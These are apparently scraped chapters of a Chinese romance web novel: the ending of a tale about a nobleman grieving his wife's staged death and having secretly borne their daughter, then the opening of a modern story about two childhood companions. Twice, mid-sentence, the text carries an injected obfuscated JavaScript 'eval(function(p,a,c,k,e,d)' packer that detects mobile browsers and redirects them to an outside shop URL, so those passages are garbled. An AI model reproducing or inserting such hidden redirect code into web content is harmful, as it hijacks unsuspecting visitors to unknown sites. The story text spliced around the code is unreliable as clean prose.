傅灵越今夜吃了几口面条就全吐了出来,面色惨白,只剩下眼尾仍揉开抹红,他攀着三十九的肩膀,明明撑不住了,却还要逼她将长寿面吃完,而后才肯倒在妻子怀里,任她褪去衣衫,抱上床榻。 三十九摸到他腿间竟流出点点鲜红,惊诧间要去叫医师,却被傅灵越攥住手腕,他冰凉的手指带着三十九伸进里衣,覆在他平坦的小腹上。“民间常说,有了孩子就有了牵挂,为人父母者,即便为了孩子,也会努力在这世间求活。温温,你想要孩子吗?”昏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14125200|149889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暗的烛火下,傅灵越眼里细碎的光芒,多半是被戳碎的泪珠。三十九的心头也好似蒙了一层水雾,她抱着虚弱苍白的傅大公子,夫妻二人散开的长发纠缠在一起,她的衣服上是他用惯的竹叶熏香,而清雅的傅小郎君如今也沾染了淡淡的血腥味。 他们早已密不可分,但他们.......真的能算夫妻吗? 三十九想不明白这个问题,在她的认知里,日月才能同寿,而自己,只是月华照耀下,短暂泛起星芒的灰尘。 “公子,你累了,我抱着你歇息吧。” 他们不该有孩子。三十九觉得,这世上许多事情,于她而言,不是想不想,而是配不配,是不应该。 那夜之后,傅灵越和三十九之间再没有提及孩子这件事,他照例奔波在朝堂之间,只不过最近时局动荡,各方拉拢推据,傅灵越又刚入三省,受东宫器重,忙得只能宿在宫中也是常事。 三十九情绪平和,听从傅老夫人的安排准备回老宅祭祖的一应用品。倒是萍儿有些坐不住,她早就听闻宫里喜欢塞些宫女到权臣的床榻上,既是拉拢也做消遣。虽然大公子人品贵重,但到底也是男子,又不是和尚,若真的收了那些宫女,少夫人这种木讷的性子,又该怎么挽回君心啊。这么一想,萍儿越发地待不住,一直到启程回平陵时,她唇角都撩出火泡,少夫人还无知无觉,要找金银花给萍儿泡茶败火呢。 萍儿急得直接哭了,刚抹了把眼泪,就听见身后的小厮喊了声大公子,而后马蹄声由远至近,长街尽头闯入一道穿着官服的策马身影。大公子今日没有戴官帽,腰间的配饰也无,素净俊俏的脸庞,发丝露出几缕贴在脸上,他翻身下马,气都尚未喘匀,便两步并做一步跑上台阶,挤开萍儿站到少夫人跟前,伸手将她紧紧抱到怀里。 “这几日并非不归家,而是被政务绊住宫里,温温,我道歉。”他开口第一句便是解释,三十九拍了拍傅灵越的肩膀,又听见他说:“今日借了太子的宫牌,匆匆回来为你送行,来不及准备礼物,只有这串琥珀血坠,你贴身戴着,等我半月后赶回平陵,要检查的。” 说着,傅灵越便将放在心口位置的琥珀血坠拿出来,低头系到妻子颈间。三十九端详着蜜糖琥珀中凝固的一滴血红,又看向脸色憔悴的傅大公子,明白了什么。迟钝地张口,却发现自己喉咙刺痛,竟然哽咽得说不出话了。 三十九情愿今日傅灵越不来送她,那么他们之间,就不会再有告别。 夫妻二人没有多说闲话,朝霞弥散,日头刺透晨雾高高照起时,宫里也派出小太监请傅大公子回去。三十九登上马车,撩开车帘,又看了一眼晨光下眉目清润的傅郎君。她干巴巴地开口,嘱咐他:“我要走了,你好好吃饭,好好睡觉,总之,你、你好好的。” 傅大公子微垂的眼睛顿时亮起来,完成两道盈满水光的月牙,他翻身上马,却又回首一直等到马车消失在视线里,也轻声地,藏着希冀对妻子说:“我知道,温温,我会好好的,我们孩子也........到时候,你会喜欢他/她吗?会,会喜欢我吗?” 14. 诈死成全痴情贵公子之后(四) 平丘十三年夏,京城至平陵一带,连日暴雨。期间傅氏回乡祭祖,中途困于琼台,山洪爆发,傅氏少夫人驾马车将傅氏众人送至山顶石庙,只身断后,力竭失足,卷入山洪,身死魂消,年十九,无子。 萍儿做了一醒不过来的梦,梦里有一场下不完的雨。雨水打湿了少夫人的衣衫,华丽的发簪掉落,长发披散下来,萍儿才发现原来少夫人这样瘦弱,在暴雨里像一株被无根野草。她架着失控的马车,将所有人都送上山顶的石庙,再回首,自己却被山洪吞进肚里。萍儿忘了掉那瞬间,她总忘不了,因为只有她看见,暴雨里,是少夫人主动松开了缰绳。 前院的祠堂还在重修,三年了,总也修不完。萍儿起夜,听到小主子的哭声,弯腰走到内室,将她抱到怀里安抚。小主子的眼睛生得好看,圆润微翘,鱼尾一般,像极了少夫人。耳垂也饱满,肉嘟嘟的,大公子总是摸着小主子的耳垂发呆。 小主子的名字叫温洄,赤脚老道说这两个字都带水,遇水则发,名字起得好。但萍儿的心头却闷闷的,自从少夫人死后,她就总觉得,这傅氏一族的暴雨,再也停不了了。 温洄哭着要找阿爹,萍儿抱着她哄,但这三年里,大公子独身带着女儿在平陵为少夫人守陵,春上刚被新皇请回京城,所以这孩子,除了打工人,谁也不认,只是一味的哭,要阿爹,也要阿娘。 萍儿抱着温洄来到廊下,已经睡下的老夫人也披着衣裳匆匆赶过来,她老了许多,自从三年前大公子在祠堂纵火,老夫人便闭门谢客,日日在府里念经诵佛,许久不曾外出交际。到底是三年前那场暴雨,那场大火,反复熬干了老夫人的心气。萍儿犹记得那一夜,大公子被发跣足,状如艳鬼,他被压在祠堂,傅氏列祖列宗牌位在上。老爷暴怒地用剑指着大公子,质问他究竟还要为了一个女人的死颓废多久。大公子沉默地跪着,手心摩挲着从河底那具腐烂女尸身上找到的琥珀血坠。人悲伤到极致原来是不会哭的,大公子那双被世人盛赞的美目,在煌煌烛光中,也只是干涸着,布满血丝。他平静地抬起头扫视过每一个牌位,向父亲背诵每一个牌位记载的先辈功绩。这是傅氏后人的荣耀,也是压在他们身上的大山。 少夫人生前总说大公子爱掉眼泪,是个脆弱的小郎君。但那夜萍儿却亲眼见着,大公子念到口吐鲜血,也仍是没掉一颗眼泪。老夫人哭着将他抱到怀里,捶打着他的脊背命令他哭,哭出来就好了,人不能哭也哭不出来啊。可是大公子却像是破败的木偶一般碎在母亲怀里,他只睁着一双眼睛,静静看着满墙牌位前燃烧的长生灯。 长生长生.......傅灵越想起来,他的妻子离世时,原来只有十九岁。傅氏郎君的妻子姓温,名讳不详,生辰不详,大约是在盛夏,因为她说过出生那日下了一场暴雨,阿爹冒雨折了一捧荷花养在盆中祈福。 那夜的火是大公子放的,他推到一盏一盏的长生灯,在惊慌的呼喊中,他提剑独自立在祠堂里,火光映在他猩红的眼眸里。傅氏众人错落站在黑黢黢的夜里,面容模糊,分不清是人是鬼,只将他包围。 大公子笑起来,捂着肚子跌跪在地上,声音嘶哑地对父亲说:“她不止是一个死去的女人,她也不是婚书上写的苏温华。父亲,你们都不记得了吗?她是我的结发妻子,是死在那场山洪里,唯一的,人呐.......” “明明我已经按照您的期许,按照傅氏一族的期许,割舍了自由、良心,明明我从小到大,只求了您一次。我甘愿做您的政治工具,做您的提线木偶,只求您向苏府施压,指使苏家利用婚约将温三十九嫁过来,做我名正言顺的妻子。明明我们都得偿所愿了不是吗?可为什么呀父亲,为什么会是这样天人永隔的结局.......” 大公子喃喃地问着,火舌撩到他的衣摆,老爷红着眼睛喊了声他的名字,下一刻大公子却又好似疯魔一般,恨意昭然地提剑劈开供桌。他面对满墙湮没在火海里的牌位,终于落下眼泪,一颗一颗血红的水珠顺着眼尾滴落:“是你们呀,都是你们,我已经熬干自己的心血供养你们,可是为什么,为什么你们满墙的神明.......护不住我的妻子啊。” 【平陵傅氏傅灵越,请求你,不要死。】耳畔又响起年少时的闲话,傅灵越痛极跌倒,茫茫火海中,他好像又回到那一夜,那一夜也是这样跪在祠堂前,满墙的长生灯,他向漫天神佛祈求——万般罪孽,皆在己身。吾妻年幼,求祈八方赐福。 温洄不喜欢祖母,搂住萍儿不松手。无奈萍儿只能抱她去找大公子,绕过花墙,又穿过几道门才走到生岁苑,葡萄架依旧葱茏碧绿,院里的梧桐树却从内里枯了,落叶铺满庭院。萍儿抱着温洄踩上台阶,还未出声,一只素手探出门帘,伴着暗香轻轻拂开,一张点缀胭脂的芙蓉面映在暗夜里。 温洄立刻噙着泪花咯咯笑起来,张开手朝着那芙蓉美人喊娘亲。那美人熟捻地将温洄抱到怀里,捏了捏她的耳垂,声音清冷,颇有些责怪地问:“为什么又哭?不是说过很多次吗?娘亲从来都不哭的,她的眼睛可不会总是这样噙着泪水。” 愣怔片刻,萍儿看着身着钗环衣裙的大公子,胭脂和夜色柔和了他的轮廓,织妍洁白,眉目低垂,此刻抱着孩子,倒真如美妇人,看着萍儿有些恍神了。 “萍儿,”大公子抱着孩子转身,踩碎梧桐枯枝,一只手掀开珠帘,又忽而站定,回首问她:“你看我这样打扮,有没有几分能像少夫人?” 像吗?不像,萍儿伺候少夫人三年,知道那十六为人妇的女郎手心覆着厚厚的剑茧,脊背腰腹布满疤痕,发丝微微泛黄,午后她散发练剑,风掠过,半干的发丝飞舞,日光一照好似麦浪翻涌,漂亮得有些晃眼。 “像,萍儿一见,就好似少夫人从未离开。” 院里梧桐树上的寒鸦又叫,簌簌落叶飘零。萍儿坐在葡萄架下,风卷起一张墨痕未干的宣纸,泪水晕着顿笔。 她摊开来看,纸上写就——梧桐半死清霜后,头白鸳鸯失伴飞。 ------------------------------------- 春月楼的老板现在是温酒,当初温寄草抱怨她的名字随便,教她重新再起一个。那时假死脱身,刚能下地的温三十九扛着锄头,蹲在树下埋刚酿的桃花蜜。没一会脸上就洇出汗珠,她靠树坐着休息,攥了攥手指,对温寄草说:“你的名字也是我取的,怎么不见你嫌弃?” 原本温寄草是风雨楼里序号四十的地煞,九岁时执行任务因为多嘴差点被中猖一剑射穿喉咙。当时是温三十九揪住她的衣襟,将她甩到身后,自己拔刀挡下中猖一剑。风雨楼以武力论资排辈,彼时十一岁的温三十九还未进入五猖,但硬拼抗下中猖一剑,虽然后果是虎口破裂,整条胳膊脱臼,但仍引起了楼主的兴趣,保下一命。 后来温寄草守在三十九床前,问她为什么要救自己。三十九看着温寄草的眼睛,摇了摇头,“我也不知道,我脑子笨,想不通很多事情。但我知道你的眼睛不属于风雨楼,你还小,不应该死在这里。” 温寄草是个神秘的人,武功不行甚至怕血,但却能一直留在风雨楼,负责暗线情报,十分得楼主器重。温三十九被派去京城保护苏锦华,临行前一夜,温寄草用自己教三十九的奇怪字体,写了很多纸条,标好日期让三十九按顺序打开。后来果然如温寄草所料,苏锦华绝食、苏锦华入太学、苏锦华与燕定北定情、燕家被抄、苏锦华昏迷、苏锦华逃婚........甚至最后温三十九改名温酒替嫁傅氏,都被温寄草给写中了。 替嫁那日温寄草混在喜气洋洋的人群里,借着前厅抢喜糖的热闹,温寄草避开众人钻进布置一新的婚房。她跪坐在三十九腿边,枕着她的膝盖,问:“姐姐,就算这是必须推进的剧情节点,但只要你不愿意,我现在就带你走。” 三十九的手心轻轻抚着温寄草的脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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差不多稳住局面之后,温寄草便留在风雨楼,温酒去淮南养伤,并以春月楼老板的身份,与风雨楼一南一北,相互照应。这三年里,虽然温寄草鲜少在她面前提及平陵傅氏的消息,但到底是世家大族,温酒这般迟钝的人,还是隐约得知,傅氏如今在皇权集中、世族乱斗的局面下,已现颓势,尤其是傅老家主辞官之后,傅氏大公子离京三年,不知所踪。前不久才被东宫太子请回京城,现下入主刑部,实乃东宫鹰犬。 这些传闻勾勒的似乎是一个她不认识的傅灵越,做了三年夫妻,温酒不太信世人口中所言,便索性闭上耳朵,将这些前尘往事隔离,只专注眼前春月楼的好光景。 春月楼如今是淮南岸最出众的歌舞场所,客人来这里饮酒作乐,想要寻风月之事,也不是不可,但要两情相悦。若是想要强迫,春月楼老板一拳就能把闹事者的隔夜饭揍出来,不服不行。 春月楼如今的台柱子是春晓晓,前些年受战乱影响,春晓晓随恩客南下,但没多久又被抛弃,昔日温声细语的情郎抢走她的积蓄,又骂她半老徐娘恬不知耻。春晓晓一无所有,游荡在淮河岸,准备寻死,却被当时一瘸一拐扶着栏杆喂鱼的温酒拦住。 温酒话少,嘴又笨,春晓晓看她不过是个面容稚嫩的病弱姑娘,就聊起一路来的遭遇,哭得不能自已时,温酒捏着衣袖,十分粗鲁给春晓晓抹了把脸,又说:“你哭起来有几分像我从前的一个朋友,算是与我有缘,若是愿意的话,可以同我一起回春月楼,天地之大,你有手有脚,身体康健,怎么就活不下了呢?” 后来果真如温酒所言,春晓晓虽然美人迟暮,但歌喉微哑动情,与寻常江南小调的缠绵不同,春晓晓多是破碎吟唱,加上填词谱曲,很快就在淮河两岸再次扬名。 春晓晓再次扬名,亦有许多风流才子慕名前来,也有痴情守候在春月楼客房,只求春晓晓赏光的追求者。但这些年起起伏伏,春晓晓对于男人的誓言已经不感兴趣。实在被烦得不行,春晓晓便索性拉住温酒,她刚揍了一顿爬到台上想要攀扯春晓晓裙边的登徒子,指节破皮泛红。春晓晓当众捧着温酒的手亲了亲,又环着她的腰,依偎在温酒颈侧,朝着台下众人盈盈一笑,风情夺目,关于二女的谣言自然也就不胫而走,终于屏退一众想要救风尘的所谓才子。 15. 诈死成全痴情贵公子之后(完) 温酒迟钝,还未弄清楚这一切,温寄草张牙舞爪的信就寄到了春月楼,警告温酒不许和春晓晓玩的比她好,最后又可怜巴巴地表示风雨楼近期因肃王一案,忙得不可开交,等她处理完这些就去淮南找温酒一起吃火锅。 早晨收到信,温酒想了想,便在早膳时拒绝了春晓晓喂她喝粥的提议,又在梳妆时不等春晓晓为她描眉,主动挽好发髻。温酒端坐着,看春晓晓咬着唇瓣,一副泫然欲泣的表情。她又不忍心,便搂上春晓晓的细腰,哄她说去街上一起买胭脂。 春晓晓这才扑哧笑出来,又摁着温酒给她重梳了一遍头发,然后才牵着手出门。但刚走到二楼楼梯口,温酒就听到藏在楼内的煞铃响动,不待和春晓晓解释,她直接撑着栏杆翻到大厅,剑刃直指坐在窗前喝茶的玄衣男子。 分明已经是暮春,那人却仍披着鹤氅,玄色衣衫衬得他肤质雪白,露出的一只手指美如白玉,指节匀称,捏着天青色的杯盏,反而将那冰瓷衬得黯淡几分。 温酒失神,想起年少雨幕中,那双攥着玉如意的手,剑尖偏移,她只挑翻了茶杯,沉声呵斥窗前的病弱男子:“来春月楼砸场子,可掂量着自己有几条命能给我耍?” “是吗?”玄衣男子摩挲着空荡荡手心,轻笑一声,眼尾挑出抹暗红,唇瓣明明翘着,但转身时望向温酒的眼里,却蓄满了泪水,“半条命已经奉给娘子玩弄,剩下这半条,你便亲自来索吧。” 铛的一声,剑柄砸在地上,温酒钉在原地,惊诧地望着眼前病弱凄苦的傅大公子,她不太灵光的脑子里冒出两个念头——一是傅灵越病恹恹的也别有一番韵味,而是他为什么还这么爱哭。 或许是温酒愣神的时间太长,傅灵越攥紧桌角,起身想要靠近她,但双腿发软,他生生呕出一口鲜血,跌倒时终于被温酒抱在怀里。她摸着他的脸,慌乱地去擦拭傅灵越下巴沾着的鲜血:“你怎么把自己搞成这幅样子?傅灵越,你是要寻死吗?” 她莫名愠怒,捏着傅灵越下巴的手也不自觉用力,他感到刺痛,却仍痴痴地笑,隔着泪雾,目光沉溺地凝视着死而复生、眉目依旧的妻子。他吻了吻她的手心,笑了说:“本来是要去死的,但见到你,我就不要死了,要缠着你千岁万岁,再也不分开了。” 傅灵越又做了一场梦,梦里还是那场经年的雨。他守着平陵的孤坟,肚子一日胜过一日的笨重,将要临盆时,南宫氏为他提供生子药的南宫槐赶来平陵,在寒冬雨夜,孤坟旁的竹屋里,南宫槐亲手接生了当年京城第一公子傅灵越的女儿。湿汗淋漓的傅大公子神色冷淡,目光隔着雨幕望向窗外的孤坟。他也像一座破败的石碑,了无生机。直到南宫槐将女儿抱到傅灵越跟前,打趣着对他说:“这孩子耳垂饱满,如珠如坠,定是好福气啊。” 听到这句话的傅灵越才转过头,瞳仁颤了颤,指尖抚上女儿的耳朵,他终于笑了,笑着淌了满脸泪水,口中喃喃着,只不停在念好福气......真是好福气....... 温洄三岁那年,太子韦昭亲至平陵,求请傅氏大公子入世。傅灵越那年开始在竹屋外开垦,一开始很难,举着锄头也不知道该怎么做。后来请教山脚下的农夫,渐渐熟悉后,手心也磨出水泡,水泡破裂后就是茧子,有些像妻子手心的剑茧。那几年他常做梦,梦里总是清澜寺后院那片菜园,他和妻子捧着没放盐巴的汤面,一口一口安静地吃,日光是暖黄色,一只蝴蝶停在破烂的窗扇上。年少时的妻子眼里冒着呆气,见他看向蝴蝶,便伸手去抓。而每次当她抓到蝴蝶,梦境就会碎掉。 竹屋的窗外只有冷白的月光和一捧孤坟,女儿睡在傅灵越身边,梦里哇哇哭着,爬到他身上要阿娘。 一开始太子执着地陪着傅灵越收拾了十多天菜园,后来京中传来密信,韦昭看完难掩惊喜,立刻跑去竹屋,抓住要去给妻子坟茔平土的傅大公子,声音颤抖道:“当年那具尸体是假的!这个一个局,傅灵越,你明白吗?这是你妻子给你设的局!天机阁的消息从不会作假,你信孤,只要肯回京都,助孤夺权,彼时孤让天机阁全权交由你处置,倾尽人力物力,还怕调查不出当年的真相吗?!” 韦昭的声音很吵,傅灵越耳畔一阵嗡鸣,手里平土的铲子砸在阶下,竹林里风声阵阵,亡妻坟茔上新绿的野草轻轻摇摆。傅灵越有些恍神,脱力地扶着栏杆,一根一根的针好似全扎进心口,密密麻麻的刺痛下,傅灵越觉得自己应该说些什么,但一张嘴,唇角却先溢出鲜血。他抓住韦昭的衣袖,姿态竟然可怜,一双美目,滑过细碎泪光。 傅灵越没有问为什么会出现假尸,也没有问为什么是发妻亲自设局,他只是克制着狂喜,在一片泪光中问:“若是真的,天应怜我,许我再见她一面吧。” 我还没告诉我的妻子,我生了一个眼睛很像你的女儿。 毕竟许多话,当年来不及说。傅灵越甚至来不及告诉妻子,他给她生了个眼睛漂亮的女儿。他也没有向妻子道歉,筹谋替嫁一计,未曾亲自过问卿卿意愿。 他与她,一报还一报,总不该再蹉跎下去了。 傅灵越被咬醒了,一睁眼,已经是日暮时分,女儿扒着他的衣襟,刚长出的乳牙啃着他的锁骨。温酒叉腰战栗,满眼惊恐,指了指他怀里的奶娃娃,又指了指傅灵越,半晌红着脸憋出一句:“你孩子都这么大了还往我怀里倒啊,不太合适吧?”‘ “嗯,是我的孩子。”傅灵越熟捻地将女儿抱到腿上,又拢了拢松散的衣襟,靠在床头咳了几声,眼尾又洇出水红。 “不、不哭,阿爹,阿爹……”女儿咿咿呀呀地拍着傅灵越的脸,想要给他擦眼泪,但温酒更快,走到床边捧住傅灵越的脸,掏出怀里粉色的巾帕给他一点点拭去颊边的泪水。 傅灵越挣开她的手,扯住绣着春字的巾帕,冷笑着扔到地上:“还得是这春月楼的花魁会调教人,从前你给我擦眼泪,总是捏着衣袖粗鲁地抹一把了事,如今反而温柔得很,也算让我沾上那春晓晓的光。” “你说什么呢,我听不明白。”温酒见他不哭了,弯腰捡起地上的帕子,想要去喊傅灵越带来的护卫。却又被一只小手扯住袖子,她回头看到那雪白可爱的小女娃,眨着一双与她相似的眼睛,吧唧啃了她手指一口,呜呜哭着,扑腾双手朝温酒喊着阿娘。 温酒见她半边身子悬空,慌忙将她抱到怀里,还未哄好,余光却又瞥见床上的傅灵越背过身正掉眼泪。 她彻底慌了,这觉得这对父女哭得她心里难受,抱着孩子挨过去,温酒张了张嘴想说话,却被傅灵越攀住肩头也咬了一口。 牙齿刺破皮肤,血痕洇红里衣,傅灵越搂住温酒,终于颤着身子呜咽出声。在朝堂翻手云覆手雨的傅氏新家主,此刻哭得比孩子还狼狈。 他埋在妻子怀里,长发散了她一身,好似千丝万缕的情丝,缠绕着,蔓延着……傅灵越告诉温酒:“孩子姓温,你还不明白,这是我为你生的遗腹子。” 温酒不太能消化自己突然冒出个女儿的事实,而显然温寄草也不相信,连夜从风雨楼赶到淮南。 走到春月楼,正巧碰上晨戏开始,大厅里坐了许多票友,台上戏腔婉转,爱恨痴缠。台下临窗的位置,温酒左手边坐着病恹恹的傅氏郎君,右手边半搂半抱一个咯咯笑着的女娃娃。温酒皱着眉头,好似在做什么大事,一勺一勺给怀里的娃娃喂鸡蛋羹。而温酒身侧给她布菜的男人先看到了温寄草,眸色一暗,旋即弯唇笑起来,拨了拨半披的长发,露出雪颈上艳红的香瘢。 这个妖精!一见面就只知道勾着阿姐上床! 温寄草很生气,在春月楼大闹了一场,连春晓晓都被惊动,出来帮腔。她们此刻倒是同仇敌忾,都不太相信傅灵越真的自己给温酒生了个女儿。 傅灵越倒真是世家养出的好风度,病恹恹地往窗前一靠,手里还绣着给温 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温洄扭头拒绝,温酒也牵着他坐下,“算了吧,你这身子,拼着生下女儿,这三年又没调理好,担惊受怕像个兔子似的,每天哭得眼睛红彤彤。可是好好歇会吧。” “哪有。”傅灵越垂眸,轻笑着将脸蹭在温酒手心,睫羽轻颤,泪光点点,好一个隐忍虚弱的病美人。 温寄草要气疯了,指着他乱蹦,叫嚷道:“不是,你傅氏祖传变脸啊!傅灵越!你刚才那眼神敢不敢让阿姐看!你就是个狐狸精啊你!” “温温,我没有……我,我是不是惹到寄草姑娘了,我向她道歉吧。”傅灵越眼睫轻颤,揽着温酒的腰,还轻咳了两声。 温酒:“他没有,他不是,他真的只是弱不禁风的小兔子,你们别吓到他。” 盛夏时节,春月楼的老板启程回平陵,温寄草自然不情愿,但系统已经警告她很多遍不许再插手觉醒人物的故事线。她郁闷至极,又开通权限探查了温洄和温酒的血缘关系,竟然还真是母女。温寄草三观震碎,缓了很久,才不得不承认,世人口中温秀清雅的傅灵越,内里就是个不尊天道的疯子。 而这个疯子,所爱、所执着、所在意的,恐怕也只有阿姐。 温寄草无法否认回溯中傅灵越对阿姐十几年,从隐忍到崩溃的深情。但她还是不甘心,最后临行前的一夜,温寄草问阿姐:“你真的明白什么是爱吗?阿姐,是不是若旁人给你生了孩子,你也会去爱他?” 温酒挖着埋在桃花树下的酒坛,拍开坛身沾着的泥土,她低着头,却没有迟疑地否定:“不是因为孩子,是因为温洄是傅灵越给我生的孩子。你明白吗?重点是傅灵越,不是孩子。” 温寄草哑声,看着阿姐,这时才明白过来。原来她不是傻,只是温三十九被杀戮蒙住了心,不敢相信月华会愿意停驻在她心头。而如今,皎月发疯,反而除却了温三十九心头的迷障。 那夜温寄草没有再过问阿姐的选择,淮河岸边,她踩着晨雾,听着温酒告诉她要认真练功,保命要紧,不行就飞书于她,天涯海角,以命相护。 温寄草乖巧地点头,挥了挥手,看着温酒揽住一脸醋意还要强扯出笑的傅灵越。她从他怀里接过温洄,又在父女二人脸上各自亲了一口。 傅灵越耳垂红了,明明不加遮掩的颈侧尽是吻痕,此刻竟还有几分纯情。 他牵着妻子的手,挠了下她的手心,在马车扬鞭时,问她:“温温,谁在你心里最重要?” 温酒愣怔,努力思索着,抿了好几下唇瓣,终于要说话时。傅灵越却捂住温洄的眼,而后倾身咬了下妻子的唇瓣。 轻哼一声,他堵住她的话,“算了,不管你最爱谁,总之我最爱你。” 哦,温酒迟钝地点头,有些开心,便也亲了下傅灵越的唇瓣。她眼睛亮晶晶的,准备晚上告诉他——你是我所爱里,最爱的那个。 ——完—— 16. 抛弃糙汉男妈妈的第三年(一) 缺爱别扭口欲期表演型人格女主×暴躁执拗恋爱脑糙汉男妈妈 *李梓木×唐成川 李梓木从小就爱咬筷子,姥爷打了她之后,她就改成了偷偷咬同桌唐成川。唐成川对疼痛感知不明感,总是鼻青脸肿地来上学。他盯着午睡时偷偷咬他的脖子,被发现后一脸惊恐抱头后退的小女孩,耸了耸鼻子,无所谓地说:“我爸打人比这疼多了,你这算什么,李梓木,你下次可以咬的更重一点。” 于是从小学五年级到高中毕业,李梓木和唐成川就有了一个共同的秘密,逼仄的老房子、昏暗的出租屋还有50块钱一晚的旅店,李梓木咬过唐成川的全身,唐成川则在她每一次崩溃,每一次表演正常人累了之后,笑着张开胳膊,自己叼住衣摆任她啃咬。李梓木喜欢叫他妈妈,唐成川一开始不情愿,但拗不过,后来偷偷给她备注:我的木头小宝贝。 唐成川以为他们一直都会相依为命下去,所以高中辍学后为了赚钱,走过歧途当过混混后来靠着做生意攒了第一笔钱,准备和李梓木商量买房子的事情时。她失联了,半个月后唐成川找到她的城市,却只得到她一个短信——我不喜欢你了,唐成川,看到你就让人觉得好累啊。你别来见我,我会觉得难堪。 从那一年冬天到再次于订婚宴上重逢,三年里唐成川几乎将李梓木的分手短信给嚼烂了念碎了,可再见面,瘦弱憔悴的李梓木将他压在酒水间,撩开他衣摆啃下去的瞬间,他还是忍不住叹谓出声,而后就听到,身上的负心人,玩笑似地说:妈妈,我玩累了,你能不能继续爱我啊? ------------------------------------- 李梓木从华安镇的大巴站走过的时候,拉着的行李箱掉了一个轮子,只能在地上拖着,她戴了个皮手套,剪得狗啃似的自来卷短发被风吹得糊在脸上,隐约露出一双清亮圆润的杏眼,疲倦地望着坡上排排站着看热闹的邻居们。 安婶子认出了她,远远地一招手,朝着看热闹的人吆喝起来:“咱镇的名牌大学生!这不是老李家的孙女吗?咱镇上当初最会考试的孩子呢,怎么这么多年都不回来,梓木在外面挣大钱了吧?” 望着朝她围过来的邻居,李梓木磨了磨牙,下意识想要啃手,结果咬到皮手套,只能悻悻地放下,扯出抹笑抬起行李箱继续往前走:“婶子你想多了,没挣钱回家啃老呢。我妈刚打电话蒸好红薯让我回家呢,先走了,回头聊。” “唉,你说这孩子......” 身后婶子大爷的议论声渐渐远了,李梓木几乎能猜出来他们会怎么编排自己,但现在似乎都无所谓了。四肢恍若灌满了铅水,她每挪动一步都像是在消耗自己疲软的生命。 太累了,推开刚涂好红漆的铁门,李梓木朝着在厨房烧火的妈妈点了下头,李玉凤只抬眼看了下她,而后继续添柴火,语气平静地先开口:“卧室收拾过了,被子重新弹得新棉花,刚晒过,上去睡觉吧,饺子给你盖在锅里,半夜饿了下来自己煎着吃。” “哦,谢谢妈。” 李梓木对着李玉凤向来比较拘谨,还好她先打破僵局了,李梓木松开咬紧的牙关,转身拎着行李箱上了二楼,推开卧室门,甚至没多看一眼装饰,扑到被子里,外套没脱就直接睡着了。 回家的第五天,李玉凤早上要去理发店烫头,路上结冰,就让李梓木骑着电动车带她去。李梓木穿着从前姥爷的棉马甲,自来卷短发四面八方各翘各的,脚上是李玉凤自己织的大红棉线鞋。 李梓木没洗脸,就戴了个口罩,抖抖索索骑上电车之后,李玉凤坐到后座,搂住她的腰,说了句:“坐好了,开吧毛毛。” 身子顿时僵住,李梓木睁大了眼睛,咬紧舌头才没有扔车逃跑。她和李玉凤二十多年来,最亲密的距离也就是给姥爷守灵的晚上,坐在一起交替给棺材前的香盆续上线香。 李梓木十六岁之前,没喊过李玉凤一句妈。反而是背地里抱着唐成川黏黏糊糊地喊了好多次妈妈。甚至在她心里,李梓木更习惯被唐成川照顾,唐成川的抚摸、亲吻,唐成川身上洗衣粉和洗洁精的味道,还有他的脚步声.......对李梓木来说,都像空气一样,稀疏平常但至关重要。 “走啊?毛毛,还没睡醒吗?”李玉凤拍了下李梓木的后背,她回过神,含糊地嗯了一声,拧着车把往镇西头的理发店开去。路上风吹得冷,李玉凤解开围巾给李梓木围上,她还是垂着眼一声不吭,直到车停到理发店门口,李玉凤下车后,她解开围巾递给她:“你带着吧,烫完头发给我打电话就成,我去二舅家待着等你。” “围巾你不戴着不冷吗?” “没事,”李梓木推着车已经掉头了,始终没有回头看眼李玉凤,她随口道:“我习惯了,而且到时候二舅肯定会给我准备围巾手套的。” 李玉成早些年跑货车,后来一次暴雪,车翻了,人断了条腿,但总算捡回条命。瘸了之后就离婚了,李玉成也没有孩子,所以打李梓木三岁被大姐扔到华安镇起,他就几乎把外甥女当女儿疼,刚开始在路口卖包子,就推着车,车上堆着一笼笼包子,包子笼旁坐着啃手指头的小女娃。 后来李梓木上小学,李玉成怕丢她的脸,就盘了个店卖早餐,一直过了十几年到现在,也算是镇上的老店了,挣的钱过日子还算富足,只不过李玉成一直单着,始终没有再婚。 “舅,还有雪菜包子吗?我想吃雪菜的,不行来个豆沙的。” 李梓木舀着豆腐脑,面前摆了一排冒着热气的煎饺油饼还有烧麦,她朝后厨喊了一声,李玉成乐呵呵地粗着嗓子吼她:“眼大嗓子眼小,你得了吧啊,先把桌子上的吃完再说。” 后厨是哐哐剁馅的声音,李梓木就知道二舅耳根子软,所以一边慢悠悠地吃饭,一边看着店里旧电视机上放得小品合集。听着观众模糊的笑声,她几乎能背出下一句台词。从小学三年级开始,每到放学后的下午六点钟左右,李梓木就会趴在唐成川家里那堆满杂物的客厅,和他一起趴在凳子上做作业。电视机里仅有的几个台,只有一个会轮番播放小品。他们俩看着,不时咯咯地笑,直到晚间新闻开始,唐成川的爸爸唐志成醉酒后醒过来,会给他十块钱,表达自己的愧疚,“对不起,儿子,别怪爸,爸真的是喝醉,什么都不知道了。” 唐成川习惯了他喝醉前喝醉后两幅面孔,没有太多情绪点了点头,而后就拿着钱,牵住李梓木跑到芳芳姐的面馆,十块钱可以吃两小碗凉面再加根香肠。而香肠通常是给李梓木吃的,唐成川习惯了咽了口水对她说:“我不饿,给你吃,你多吃点快点长高长大,那样就可以去找你妈了。” 